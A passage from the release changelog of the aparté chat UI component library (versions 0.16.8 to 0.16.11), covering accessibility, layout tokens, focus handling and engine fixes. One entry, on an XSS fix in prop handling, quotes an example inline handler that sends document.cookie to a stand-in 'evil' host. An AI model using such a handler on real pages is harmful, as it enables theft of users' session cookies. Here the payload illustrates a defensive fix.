--aparte-sidebar-inset(12px); the selected conversation’s mark follows the row’s radius; and the tool row’s chevron, its part labels and icon, the code header’s language label and the branch picker’s disabled arrows are coloured with the muted ink instead of faded by anopacity.Measured on the built previews: the sidebar’s header and footer padded 16 while its search and body padded 12, so a 260px column showed its content on two vertical axes and the app-shell demo four left edges; the 2px selection bar stood square in a 9px-rounded corner with a sliver of the page’s ground between the two; the tool row’s disclosure chevron at
opacity: .5sat at 3.00:1, exactly on the WCAG floor, and it is the control that reveals adelete_file’s arguments; the code language label was already muted and then multiplied by .7; the disabled branch arrow read at 1.74:1 — as absent, not as disabled. Quiet is a colour: opacity on a container fades the glyph with its ground and cannot be reasoned about against any background. The mark is now painted as the first pixels of a row-sized pseudo that inherits the radius — notoverflow: hiddenon the row, which would clip the title button’s focus ring.@aparte/core -
100d089: A
[data-aparte-sidebar-toggle]control now carriesaria-expandedandaria-controls, kept in step by the sidebar whoever changes the state, and the open drawer keeps Tab inside it.The toggle opened and closed the sidebar without announcing its state, while the conversation row’s own
⋯button already did; the sidebar gives itself an id when the host wrote none, so the control can point at it. Tab from the drawer’s last control used to walk out under the scrim onto the transcript it was covering; it wraps to the first control now, and Shift+Tab the other way. Nofocusinguard was added on purpose: it would steal the focus back from a dialog the drawer’s own content opens onto<body>.@aparte/core -
fee67b7: A skeleton text line holds the place of the line it stands for: its height is the content’s font size and its gap the rest of the content line (
--aparte-skeleton-text-height,--aparte-skeleton-text-gapare derived from--aparte-content-font-sizeand--aparte-content-line-height).The bar was 12px on an 18px step while a line of content is 16px on a 27px step, so the text that replaced it jumped by a third of a line per line. A placeholder that does not hold the place it promises is not a placeholder.
@aparte/core -
dc4a7b7: The bubble’s action bar, its branch arrows and the conversation row’s
⋯are all the button recipe’s small step (24px); the select trigger declares its own font size and reads the theme’s--aparte-radius-select.Three controls redrew their own box over the recipe: the arrows set width and height to a 20px token while the element also carried
--sm(24), the⋯did the same at 20, and the action bar fed 28 with a 24 exception for the last user turn — three control heights in one row. They feed the recipe’s token or wear its modifier now, and under(pointer: coarse)the⋯takes the touch-target size like the other four.--aparte-branch-picker-btn-sizeand--aparte-branch-picker-btn-icon-sizeare gone;--aparte-action-bar-btn-sizeand--aparte-conv-action-btn-sizedefault tovar(--aparte-btn-size-sm). The select’s trigger declared nofont-sizeat all and took the host page’s, so every integrator saw a different select; it reads the control step. Its radius existed twice under two names with two values — the private--aparte-select-radiusis gone, the theme’s--aparte-radius-selectstays.@aparte/core -
fee67b7: The split’s seam is a 1px line (
--aparte-split-seam-width, the kit’s border width) painted inside a 12px track (--aparte-split-handle-size, it was the 4px painted seam), with a grip under the pointer and while dragging.One token sized both the grid track and the painted line, so the seam could not be thinned without moving the layout; at 4px it was four times the kit’s rule and had nothing to take hold of — an interaction drawn as a decoration. The panes give up 8px between them; the grab zone is what it was on a fine pointer and the touch target on a coarse one.
@aparte/core -
1f89afc: The segmented tab track is as wide as its chips (not its container), its selected chip is raised on both grounds, the tab panel shares the tab’s inline inset; the elicitation’s recommended option keeps its ground while focused, and the options sit far enough apart for the focus ring to show whole.
.aparte-tabs--segmentedwas a block-level flex row and painted 1207px of track for 160px of chips at 1280; it isinline-flex. Its selected chip was an absolute surface level — raised in light, sunken in dark — and now carries a 1px ring in the border colour. The panel had no inline padding, so its text hung 11px left of the tab above it. In the elicitation panel the recommended option, the one that takes focus on mount, was the only row with no ground: the rule that cleared its tinted border under focus cleared its background too. And the options sat 2px apart, narrower than the focus ring’s outset, so the next row painted over the ring’s bottom edge; the gap is 6px.@aparte/core -
dc4a7b7:
data-side="top | bottom | start | end"places a tooltip against its trigger — wrap the trigger in.aparte-tooltip-anchor— and turns the arrow to match;--aparte-tooltip-gapis the distance. No inline positioning needed any more.The recipe drew the box and the arrow and left the placement to two inline styles in its own example. A demo that needs inline styles to work is a recipe with a parameter it forgot. Flipping a tooltip that would leave the viewport stays out: that needs script, and it is a positioning library’s job. Without
data-sidenothing is positioned, as before.@aparte/core -
54ab107: The type ramp rises in the order of its names:
--aparte-font-size-lgis 1.0625rem (above the body’sbase, it was 0.875rem — below it), and--aparte-font-size-xl(1.25rem) and--aparte-font-size-2xl(1.5rem) exist. Every reader of the oldlgmoved to the step it meant: the text a person types is the body size, a sender name sits one step under the prose, a card title is above its body, an elicitation question is larger than its options, a dialog title takes the newlg, the large field and the large buttons speak at the body size.Measured: a welcome title and a placeholder at the same size, a card’s title smaller than its body, a full-screen dialog’s title at 14px, and the typed text the smallest in the chat. A scale whose name lies is worse than a short one. The artifact card’s labels that read
lgfor “a notch above the control text” now readbaseormd, so they keep their size.@aparte/core,@aparte/plugin-artifacts -
7e5910a:
<aparte-model-selector disabled>disables the picker, and inside an<aparte-composer>the picker follows the composer’s owndisabled— it used to stay fully operable while the field and the send button around it were inert.@aparte/plugin-model-selector -
d78b150: Stops writing the
groupedattribute on its<aparte-select>: the select never read it, groups render from the<aparte-optgroup>children alone.@aparte/plugin-model-selector -
2e8f3ed:
approvalWaitingreads « En attente » (was « en attente de vous »): one capitalised word, the shape every other tool state uses in the row.@aparte/locale-fr -
d78b150: Adds
loading(“Chargement…”), the text an option group shows while its options are fetched.@aparte/locale-fr
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/docs-mcp.
0.16.9
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
2b1d809: A composer inside a chat host that has an
idnow stamps that id onaparte-send; on a page with two raw-core chats the reply no longer lands in the wrong one.submit()read the baretargetattribute. All four wrappers set it, so nothing changes there — but the documented quick start writes its markup by hand and nothing setstarget, so every send from raw core carriedtargetId: undefinedand the host delivered the answer to whichever chat it resolved first.The composer’s other outbound path,
cancel(), already resolved through_ownTargetId()— the attribute if a wrapper set one, else the id of the<aparte-chat>/[data-aparte-chat]host above.submit()now resolves the same way, which is the invariantcancel()’s own docblock states: both sides answer the question “which chat am I” identically.@aparte/core -
df0d60e: The ✕ that removes a pending attachment is 24px on touch, not 18px.
It is the only way to drop a file attached by mistake, and 18px is under the 24 of WCAG 2.2 SC 2.5.8. The coarse-pointer block already made the button visible there — a finger cannot hover — but left it at the size a mouse gets.
24 is not a new number: it is the box
aparte-btn--smalready draws (--aparte-btn-size-sm: 24px), so the component simply stops out-specifying the recipe on touch. Not the 44px--aparte-touch-target-sizeits neighbours take: the composer’s pending tile is 56px (--aparte-attachment-image-size, set onaparte-composer-attachments), so a 24px ✕ is already 43% of its edge and a 44px one would cover most of the picture — matching the neighbours properly means growing the tile too, a separate decision.@aparte/core -
60e33eb: The composer’s editor is exactly the control height at rest: its block padding derives from the control size and its own line (
--aparte-input-padding-y: calc((var(--aparte-composer-control-size) - 1lh) / 2)), so the send and attachment buttons share the editor’s centre on one line and follow its last line when the text wraps.Measured on the built preview at 768: 36px buttons beside a 44px editor (10px of padding, a 24.3px line, 10px of padding) in a row aligned at the end, so the send button sat 4px below the editor’s centre. A consumer who had set
--aparte-input-padding-ykeeps what they set; the default alone moves.@aparte/core -
7fbd763: Cancelling or saving an inline message edit returns the focus to the bubble’s action bar instead of dropping it to the top of the page.
Both exits destroy the element that holds the focus: the editor node is removed, and the action bar is rebuilt with
innerHTML, so the ✓ / ✗ buttons go with it. Focus fell to<body>, and the next Tab restarted at the top of the document — a reader who edited the fourth message of a long transcript had to walk all the way back down to it.The bubble now remembers the
data-actionof the button the editor was opened from and focuses that action again on the way out. The string, not the node: the bar’s markup is rewritten twice between the two moments, so the node identity cannot survive. When the focus was outside the bubble when the editor opened, nothing is remembered and nothing is pulled back — that would be theft, not a restore.@aparte/core -
79a55a3: Reaching the elicitation panel’s “Other…” radio with the arrow keys now reveals the text field without moving the focus into it; a click or Space still focuses it.
Arrow keys select as they move inside a radiogroup, so the
changethey fire is not consent. Focusing on it carried a keyboard reader out of the group with no activation at all — WCAG SC 3.2.2 and its F36 failure, the same rule this panel already follows when it makes one choice one button.@aparte/core -
204343f: Lifecycle events (
aparte-message-start/-done/-error/-aborted, and the tool-approval request) now carry the chat’s id when the render target is a shell’s viewport, so a second chat on the page no longer answers to the first one’s turn.The stamp read
target.id, and the target is whatever RENDERS: an<aparte-chat>shell delegates rendering to its.viewport, which has no id of its own. So on every shell-shaped chat the events went out withtargetId: undefined— and the receive side reads a missing id as “for me”, deliberately, so a single-chat page needs no wiring.On a two-chat page that made one chat’s turn drive every composer: chat B finishing re-enabled chat A’s send button mid-stream and evicted A’s open elicitation panel, so the question vanished under the user’s cursor while A’s tool call kept waiting. The client now resolves the id by climbing to the chat host — the same rule
aparte-composeruses to identify itself, so the two halves of the channel cannot disagree — andtarget.idremains the fallback, which is correct for the viewport-only chat shape.@aparte/core -
4cfda77: Uppercase and mixed-case
on*props (ONCLICK) are now dropped like lowercase ones; they previously became live inline handlers.applyElementProps— what the React and Angular wrappers use to spread a consumer’s prop bag onto an aparté element — refusedonclickbut tested the key withkey.startsWith('on'), which only ever matched the lowercase spelling. An attribute name is case-insensitive, so{ ONCLICK: 'fetch("//evil/?" + document.cookie)' }fell through tosetAttributeand wrote exactly theonclickthe branch existed to refuse.The check is now
key.toLowerCase().startsWith('on'), the idiom core’s sanitizer already uses. The lowercasing is scoped to that one branch: a CSS custom property IS case-sensitive, so the--branch keeps the key it was given.@aparte/core -
8a77487: The sidebar drawer keeps the keyboard when its search filter hides rows: Tab wraps from the last visible control instead of walking out onto the page under the scrim.
The trap listed its stops with
querySelectorAlland treated the DOM-last one as the end of the drawer. The drawer’s own search field hides non-matching rows withhidden, and a hidden row’s buttons hold no tab stop — so after typing one letter the “last” stop was unreachable, the wrap never fired, and Tab from the last control a reader could actually see left the drawer for the transcript underneath. Opening the drawer had the same blind spot: it focused the DOM-first control even when that one was hidden.Both now count only what a reader can reach (
[hidden]ancestors excluded, pluscheckVisibility()where the browser offers it, which also catches adisplay: nonefrom a host stylesheet).@aparte/core -
7fbd763: Leaving a bubble’s inline editor now lands on a button the reader can actually use, and moves the action bar’s tab stop with it.
The restore added in the previous patch focused the button that opened the editor, but stopped there, and two cases in its own subject — the reader must not lose their place — still lost it.
The bar is a
role="toolbar": one tab stop that the arrows move. Rebuilding it parks that stop on the first button (copy), so focusing edit put the reader on atabindex="-1"member — Shift+Tab out and Tab back returned them to copy, not to the button they were on. The restore now sets the stop before focusing, the same two lines the arrow-key handler already uses.And the remembered action can come back disabled — the reader sent from the composer mid-edit, so the transcript is busy and edit is rebuilt disabled — or gone, if the action was turned off while the editor was open.
focus()on a disabled button is a no-op, so the focus fell to<body>: the exact bug, silently. The restore now falls back to the bar’s first enabled button.@aparte/core -
204343f: Retry and edit no longer put empty assistant turns on the wire: a failed turn, or one stopped before its first token, is dropped the same way send drops it.
Send, retry and edit all answer the same question — what did this conversation say so far? — and they answered it with two different pieces of code. Send filtered out errored turns and anything whose wire text came out empty; retry and edit kept every user and assistant row whatever its status, so a failed turn reached the model as
{ role: 'assistant', content: '' }. Some providers reject that outright; the rest read it as an empty reply worth imitating.The slice stays each caller’s own business — retry cuts before the reply it regenerates, edit after the message being reworded, send at the last answered turn. What a message contributes to the wire is now one rule the three of them share.
@aparte/core -
191aa24: The
<aparte-chat-status>caveat names the tokens the sheet actually reassigns (--aparte-message-padding-block/-inline); the theming guide and the landing page stop offering two variables 0.16.8 removed.--aparte-message-paddingwas split into-block/-inlineand--aparte-avatar-radiusbecame--aparte-avatar-radius-ratio(a fraction of--aparte-avatar-size, not a length — the guide now says so, because swapping the name and passing6pxis the natural next mistake). Both kept being offered: in the theming guide’s grouped token list, in the status element’s own JSDoc — which the generated component page reprints — and, for the avatar one, in the landing page’s three-line “one instance, three variables” snippet, the page whose whole job is to make the theming promise credible.A name that does not exist fails in silence: the declaration is invalid at computed-value time, the property inherits, and the page looks almost right. That is the exact failure the same guide has a section warning about, so the pages taught the mistake they teach you to avoid.
check:derived-varsnow reads variable names out of that prose — the two pages plus every JSDoc block in core’s and the plugins’ source — and refuses one the library cannot answer to; a family prefix (--aparte-code-*) and a line markedundeclared-on-purposeare the two exceptions, the second for the guide’s own worked example of a name core does not declare.@aparte/core -
2b1d809: Closing or evicting a composer panel no longer steals the focus: the caret stays where the reader put it unless focus was inside the composer.
_teardownPanel()ended on an unconditionalthis.focus(), which forwards to the composer’s editor. So every close moved the caret there — including the one nobody asks for: a turn ending evicts any open panel, and a turn ends because the model finished. A reader who had moved to another chat’s field, a search box, or a link was pulled back mid-keystroke.It now asks first, and asks BEFORE removing the panel: removing the focused element drops focus to
<body>, after which the question has no answer. That is the reasoning<aparte-elicitation>’s own restoration already records — and its guard was being defeated by this one, since the teardown ran first and put the focus back inside the composer, which made “was the reader still in the panel?” answer yes.@aparte/core -
04b9dd0: The scroll rail’s first and last tick are full 24px targets: the rail pads its block axis so its own clipping no longer cuts them in half.
--aparte-scroll-rail-hit-sizegrows the pressable zone symmetrically around the drawn line — half ofhit − thicknessabove it and half below.aparte-scroll-railclips (overflow: hidden, which cuts at the padding box) and had no padding, and.aparte-scroll-rail__listhas none either, so the first tick’s top edge sat exactly on the clip line: its upper 11px were cut, and the last tick’s lower 11px with it, for paint and for hit-testing alike. Two 13px targets, under WCAG 2.5.8’s 24px — and they are the two a reader aims at most, “jump to the first message” and “jump to the latest”.The fix is the room, not a smaller zone:
padding-block: calc((hit − thickness) / 2)puts the clip line outside every zone instead of through the two end ones. The inline axis already had this reasoning — it is why a zone grows inward only and why--aparte-scroll-rail-widthcarries the hit size as a floor — and it simply had not been carried to the block axis.What moves if you had measured the rail: it is
box-sizing: border-boxnow, somax-heightstill means the same outer box, and the ticks get 22px less room inside it — a very long transcript clips one tick sooner. The drawn line, the pitch and every token are unchanged.@aparte/core -
04b9dd0: The scroll rail is positioned inside the chat under the Angular wrapper too, and no longer gets pulled back into the flow in overlay mode.
<aparte-scroll-rail>isposition: absolute, so it lands in the nearest positioned ancestor. The recipe hands the shell that containing block with:has(), and it listed two of the three shell shapes core’s own layout already knows: the vanilla<aparte-chat>and the[data-aparte-chat]div React/Vue/Svelte render. Angular’s host IS<aparte-chat>but its shell is the inner.aparte-chat-container, and that div carries no attribute — so a rail inside an Angular chat escaped to whatever ancestor happened to be positioned, in the ordinary case the page..aparte-chat-container:has(> aparte-scroll-rail)closes it; the other two wrappers’ root already carries both the class and the attribute, so nothing moves for them.The second half is the same rail, in overlay mode. The bottom-stack rule said
> :not(aparte-chat-viewport)on the premise that the only child which is not the viewport IS the stack — true when it was written, and the rail made it false: it matched, tookposition: relative, and the one child that floats by design dropped into the flow above the composer. The:not()now names both.@aparte/core -
04b9dd0: Scroll-rail ticks are 24px click targets on a 24px pitch.
--aparte-scroll-rail-hit-sizeis the new knob and--aparte-scroll-rail-gapnow derives from it, so fewer ticks fit in the rail before it clips.A tick is a
<button>that jumps the transcript, and it was drawn as the line it stands for: the pressable zone measured 22×10 CSS px on a 10px pitch, under WCAG 2.5.8’s 24×24 minimum with no spacing exemption to fall back on (the exemption is measured on a 24px circle per target, and at a 10px pitch the neighbours’ circles overlap). The rail hides entirely under(pointer: coarse), so the bar is 2.5.8’s 24px rather than 2.5.5’s 44px.Growing only the pseudo-element would have satisfied the letter of the rule and made mis-hits worse — two 24px zones on a 10px pitch overlap by 14px, and the z-order then decides every press — so the pitch rises with the zone:
--aparte-scroll-rail-gapishit − thickness, which makes gap + thickness exactly the pitch and the zones tile edge to edge.What to change if you had tuned these: set
--aparte-scroll-rail-hit-sizerather than--aparte-scroll-rail-gap, since the gap now follows it.--aparte-scroll-rail-widthtakes the hit size as a floor (max(…)) because the rail clips: a narrower column cut the zone back on the very edge a reader aims at. The drawn line is unchanged at 14×2.@aparte/core -
ce72d8e: A searchable
<aparte-select>again announces which option is selected: its trigger’s accessible name is now"<control>: <selected label>"(e.g. “Pick a model: GPT-4o mini”) instead of the control’s name alone.searchablemakes the trigger arole="button", and a button takes its name from its content — which an authoraria-labeloverrides. The name written for the combobox shape (where the visible label span was the VALUE and the attribute only the NAME) therefore swallowed the selection: readers heard “Pick a model, button” and never the model. The name now carries both halves, follows every selection change, and drops the second half when it would only repeat the first. The listbox keeps the control’s name, and a non-searchable select is unchanged.@aparte/core -
204343f:
history: 'viewport'now sends assistant turns a host seeded without astatus; the whole transcript used to be dropped and the model got only the new question.statusis optional onAparteMessage, and a host that seeds a transcript — restoring a saved conversation, hydrating a server-rendered one — has no reason to invent one for turns that are already over._toHistoryMessagesgated onstatus === 'completed', so with none the cutoff never advanced past the first message and every seeded turn was sliced away. Nothing in the UI showed it: the viewport still rendered the whole conversation, and only the next request was missing it.Both gates now ask “is this still in flight?” instead: a
streamingorpendingturn is held back, anerrorturn is still dropped and still does not advance the cutoff, and everything else — status or no status — is history.@aparte/core -
ce72d8e: A searchable
<aparte-select>now putsrole="combobox",aria-expanded,aria-controlsand the rovingaria-activedescendanton the filter field instead of the trigger, so the arrow-key highlight is announced. The trigger becomes arole="button"when (and only when) the field exists; withoutsearchablenothing changes.Opening a searchable select focuses the filter field, and a screen reader follows focus — so the combobox state has to live there. It lived on the trigger: the highlight moved with every ArrowDown and was announced to nobody, and the control declared two comboboxes for one value.
aria-expandednow follows the open state on both elements.@aparte/core -
ce72d8e: A disabled
<aparte-select>no longer removes theopenattribute you wrote, and opens the moment you removedisabled.openis the consumer’s attribute, and a one-way binding writes it once: taking it back left the template saying open and the element saying closed, with no write left to reconcile them —<aparte-select [disabled]="true" [open]="true">in Angular went to the element and came straight back out. The select still refuses to open while disabled; the attribute simply stands, and thedisabledbranch honours it on the way out, symmetrically to the close it already does on the way in.@aparte/core -
ce72d8e: Setting
openon<aparte-select>— the attribute or the property, after mount or in the initial markup — now runs the same path as a click:aria-expandedfollows in both directions, the keyboard highlight is seeded on open and cleared on close, andaparte-select-open/aparte-select-closefire once per transition. A disabled select still refuses to open, and drops theopenattribute rather than leaving it claiming otherwise.The attribute had a branch of its own that unhid the panel and stopped there, so the documented way to control the dropdown produced a state a click never produces: a visible list announced as collapsed, with the arrow keys starting from nowhere. The branch now delegates, guarded against the re-entry the two methods’ own reflecting writes cause.
@aparte/core -
ce72d8e: Re-parenting an open
<aparte-select>no longer fires a secondaparte-select-openor resets the keyboard highlight: a portal, a Vue teleport or any framework move keeps the dropdown exactly where it was.connectedCallbackruns on every re-connect, and routing the mount-timeopenattribute through the open path made a move look like a transition — the event fired again and the highlight was re-seeded on the selected option, losing where the arrow keys had got to. Mount now only opens when the element is not already open, and_openDropdown()returns early when it is, so every entry into it (attribute, property, click, re-connect) is idempotent.@aparte/core -
c9d863d: Renaming a conversation now keeps the focus on the row when you leave the field by Tab or by clicking away, not only on Enter.
Every exit re-renders the list, so the field the reader was typing in stops existing. Enter and Escape put the row’s title button back under the keyboard; the blur path passed a hard-coded
falseand left the focus on<body>, so the next Tab restarted at the top of the page. It now looks at where the focus is going: nowhere, or somewhere inside the list this render is about to destroy, and the row takes it back — a live control outside the list keeps it, since pulling it back from there would be theft.The restore also moved after the
aparte-rename-conversationevent rather than before it. A host that re-assignsconversationswhen it hears that event re-renders the list, which destroyed the button that had just been focused — so even Enter lost the row in the one integration that matters most.@aparte/core -
6e7386b:
<aparte-chat-status>now carries a screen-reader-only word inside its live region, so the default dots-only form is announced instead of being silent.The container is
role="status" aria-live="polite", and a live region announces its CONTENT. In the dots-only default that content was anaria-hiddendot and an empty span — the empty string — so the whole state rode onaria-label, which names the region rather than reporting it. A sighted reader saw the dots pulse; a screen-reader user was told nothing.One writer now keeps exactly one of the two text nodes populated: the visible
.aparte-status-textwhen thetextattribute is set (the label is already that same string, so a second copy would be read twice), and a new.aparte-status-srspan wearing the existing.aparte-sr-onlyrecipe when it is not. No new CSS, no new token, and the documented dots-only LOOK is unchanged — nothing visible was added.One edge aligns as a consequence: mounting with an empty
text=""used to print the literalTypingon screen, where settingtext=""after mount cleared it. Both paths now read an empty attribute as the dots-only default.@aparte/core -
6e7386b:
<aparte-chat-status>writes its fallback word into the live region whenvisiblearrives, and clears it whenvisibleleaves — so a screen reader hears the indicator on every turn, not just in theory.The word was there already; it was written at the wrong moment.
_render()putTypingin the screen-reader span while the host was stilldisplay: none(aparte-chat-status:not([visible])hides it, and all four wrappers mount the element once and flip the attribute). So the region was never MUTATED while it was exposed: it appeared with its text already in it — the reveal-from-hidden path assistive tech is documented not to announce reliably — and from the second turn on there was not even a reveal-time difference, the string being byte-identical to what was sitting there.Driving it from visibility makes each turn a real content change on a region that is already on screen, which is the path that announces. Nothing about the look moves: the dots-only line is still dots-only, and when
textis set the visible span carries it exactly as before, with the screen-reader span left empty so the line is read once.If you drive the element by hand rather than through a wrapper,
show()/hide()(or thevisibleattribute) is now what puts the word in the region — mounting it withoutvisibleleaves the region empty, as it should, since the element is not on screen.@aparte/core -
52a9a00: The tabs recipe’s examples now ship the roving
tabindex,aria-controlsandaria-labelledbythat theirrole="tablist"promises, and the segmented variant has a panel. Copying the banner markup no longer copies a defect.The examples are the live preview the kit page renders, and they showed a
role="tablist"of plain buttons: every tab a tab stop, none of them naming a panel — which announces more than plain buttons and does less. The banner now also says which part stays the app’s (the ArrowLeft/ArrowRight/Home/End handler) and points at a working one.@aparte/core -
97eb642: The image-preview button is now the thumbnail image rather than the tile: the ✕ is no longer a button nested inside a button, and the tile no longer announces its file name three times.
In the composer’s pending strip,
role="button"sat on the tile, and the tile wraps the remove<button>. No role permits a button inside a button, and the outer one takes its name from its contents — so a screen reader read the file name from thetitle, again from the hover overlay, and a third time inside “Remove report.png”, then offered two nested controls with no way to tell which an Enter would reach.The role, the tab stop and an explicit
aria-label(the file name, once) now sit on the<img>, which is what the preview opens; the ✕ sits beside it. Its focus ring is drawn inset, because the tile is the frame and clips: an outline drawn outward from an image that fills the tile would not be visible at all.The sent-message strip in the bubble is unchanged and keeps the role on its tile — it has no ✕, so nothing is nested and the tile is the whole control.
@aparte/core -
7389228: A Stop now ends the run immediately even when a tool handler ignores its abort signal — the turn no longer sits until
toolTimeoutMs(five minutes by default), and a handler that resolves after the Stop no longer appends a tool result.invokeToolHandleralready raced the per-call TIMEOUT, for a measured reason: aborting a controller is a request a handler is free to ignore, and the default shape of a consumer tool —async () => ({ content: await fetch(...).then(r => r.text()) })— never reads its signal. The parent abort was left out of that race. It only ranonParentAbort, which aborts the same child controller the deaf handler ignores, so a Stop pressed while a tool was in flight changed nothing the user could see: the loop stayed parked on the handler, the typing indicator stayed up, andrun-abortedarrived only once the timeout budget expired.The parent signal is now a third racer beside the timeout, on the same terms: the signal still fires first, so a handler that honours it keeps the chance to reject cleanly, and the racer only decides the case where it does not. The listener is removed in the
finallyalongside the existing one, so a long turn does not accumulate listeners on the run’s signal.@aparte/engine -
2cd2c50: The worker now ships as
dist/worker.jsand is constructed from a literalnew URL('./worker.js', import.meta.url), so a bundled app resolves@huggingface/transformersinside the worker instead of failing on every model load. No configuration changes on your side — no worker loader, no copy rule, no entry of your own._spawnWorkercarries a comment saying that literal “is not style”: it is the exact shape Vite’s worker detection and webpack’s WorkerPlugin match on, and matching it is what makes a consumer’s bundler process the worker as a MODULE rather than copy it as an opaque asset. The claim was true of the source and false of the published bytes. The build handed the emit to Vite’s own worker plugin, which rewrote the call tonew Worker(new URL(/* @vite-ignore */ "" + new URL("assets/worker-<hash>.js", import.meta.url).href, import.meta.url))— nothing static left for anyone to detect. The chunk was then copied verbatim, itsimport('@huggingface/transformers')stayed a bare specifier no browser can resolve, and it also pulled two sibling hashed runner chunks a consumer’s build never emitted.Two things had to become true: the worker must sit at a stable path a bundler can be pointed at, and it must contain no specifier a verbatim copy cannot resolve. It is a second lib entry now, so
dist/worker.jsanddist/runners/{shared,text-generation,image-text-to-text}.jsare real published files with names — relative between themselves, so they follow the worker to whatever origin serves it, and@huggingface/transformersis the one bare specifier left. The build removes Vite’sworker-import-meta-urlandasset-import-meta-urltransforms, which is what lets the literal survive into the artifact; dev and the test run keep them, since that is what resolves./worker.jstosrc/worker.tsthere.Both halves are now asserted against the built bytes rather than the source —
src/__tests__/published-shape.test.tsfor the literal and the file, and acheck:bundle-entriescontract that walks the worker’s chunks for stray specifiers. The defect existed only in the output, so only a test that reads the output could have seen it.The cross-origin
blob:path is unchanged: same behaviour, same CSP note, same error message.@aparte/provider-transformers -
a78320a:
summaryMaxTokensreserves room in the window budget; it never truncated the summary and no longer claims to.Its JSDoc read “Hard cap for summary tokens” and
summaryRatio’s read “Ratio of history budget allocated to the summary block”, so both described a bound on the text a summariser returns.splitHistoryBudgetuses them for one thing:summary = min(summaryMaxTokens, budget × summaryRatio), and that number is subtracted from the verbatim window. Nothing measures a summary against it and nothing clips one — a summariser that overruns simply costs the turn more than the split assumed, silently, which is the failure mode a reader trusting the word “cap” would never look for.Words only:
splitHistoryBudget, the defaults and the numbers are untouched. If you need a real bound, clip inside your ownsummarize.@aparte/plugin-compaction -
9a1f93c:
<AparteChat>and<AparteUi>accept callback props alongside their events:onmessageSent,onaction,onmessagesChange,onmessageAppended,ontypingChange,onconversationCreatedon the chat,onelementEventon the element host. Each is called with the payload itself (noCustomEventto unwrap), in addition to the event, so a Svelte 4 consumer changes nothing and a Svelte 5 consumer never writeson:on a component. The Svelte 5 example now runs in runes mode on those callbacks.Svelte 5 documents
createEventDispatcheras deprecated and recommends callback props; measured before this landed, the 5.56 compiler warns on neither the dispatcher noron:on a component (only onon:for a DOM element in runes mode), so this is the framework’s idiom arriving in the wrapper, not an emergency. The other three wrappers already speak theirs: React props, Vue emits, Angular outputs.@aparte/svelte
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.10
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
33b8cc0:
AparteConversationManager.setTitleProvider(fn)replaces how a new conversation is titled from its first user message.A conversation’s title was decided in one private place,
_autoTitle, and it was the message as typed. A consumer with a titler — a model in the browser, a request to a backend, a heuristic — had no way in short of racingupdateTitlebehind every send, and losing the race on the sidebar. The seam is on the manager, which owns that one place:setTitleProvider(provider)/getTitleProvider(), plus atitleProviderconstructor option. The provider receives the message’s text and the message, may be async, and is consulted once per conversation; an empty answer or a throw leaves the default, so a titler that fails never loses the message from the list.updateTitleis untouched.@aparte/plugin-titlerbinds an aparte-titler model to it.@aparte/core -
36af623:
<aparte-scroll-rail>works on a long conversation: it no longer rebuilds itself every frame, every turn stays reachable and the current tick stays visible, a click lands on its message and keeps its mark, and the rail sits clear of a classic scrollbar, centred on the transcript rather than the composer, and never taller than a share of it.Measured in Chromium, Firefox and WebKit on a 40-turn chat before the fix: the rail rebuilt itself 61 to 146 times a second at rest, with a new
IntersectionObservereach time, because its mutation observer watched the whole host subtree — the rail included — and every rebuild replaced every tick. Nothing on a tick survived a frame: focus, the arrow keys, a hover tooltip. Past sixteen ticks the rest was clipped, the current one included, so the mark was invisible on the long thread the rail exists for. A jump ended on the wrong mark two times in three, and landed up to 1,213px off the message on a long transcript, because the bubbles carrycontent-visibility: autoand a scroll aims at an estimated position.Now the rail drops its own mutations, reconciles its ticks by message id (the same nodes, so focus, hover and the tooltip survive an appended turn or a streaming reply) and re-observes only when the bubbles change. It is the height of its list, capped at 60% of the transcript (
--aparte-scroll-rail-share) and centred on it — a list of ticks, as LobeChat’s, not a full-height minimap. When more turns exist than 24px targets fit in that cap, it tightens the pitch to what fits — never under 6px — by setting--aparte-scroll-rail-hit-sizeand--aparte-scroll-rail-gapon itself; past that floor it scrolls, keeping the current tick in its window, and the arrows still walk every tick. A jump holds its mark until the transcript has settled, then re-aligns on the message when the scroll landed off it. Three measurements are published on the element for the stylesheet —--aparte-scroll-rail-bar(a classic scrollbar’s width),--aparte-scroll-rail-block-startand--aparte-scroll-rail-block-end(the transcript’s extent within the host) — and the reading band now starts at the top of the scroll surface so that a bubble a jump aligned there counts.In
overlay-composermode the viewport no longer counts the rail as part of the floating bottom stack when it measures--aparte-bottom-inset: the stylesheet already named the rail as not the stack, the measurement had not, and a rail centred on the transcript froze the inset at the distance from its own top while the composer grew under a draft.If you had styled the rail: it is a flex column now,
overflow-y: autowith no visible scrollbar, and itstopis the middle of the transcript’s measured span rather than of the host.@aparte/core -
3df9174: New package:
setupTitler(manager, { titler: loadTitler })titles each conversation from its first message with an aparte-titler model — 3 to 6 words, in the browser, no API call.The model is not a dependency of the plugin: hand it
@aparte/titler-latin’sloadTitler(17 languages, 133 KB), aTitler, a promise of one, or any object withtitle(message, budget?). The loader runs once, the first time a title is needed.createTitleProvider(options)is the provider alone, for a manager built with thetitleProvideroption; the teardown returned bysetupTitlerrestores the previous provider.@aparte/plugin-titler
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.11
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
6d3272e: The README carries the webcomponents.org badge; nothing changes in the code you import.
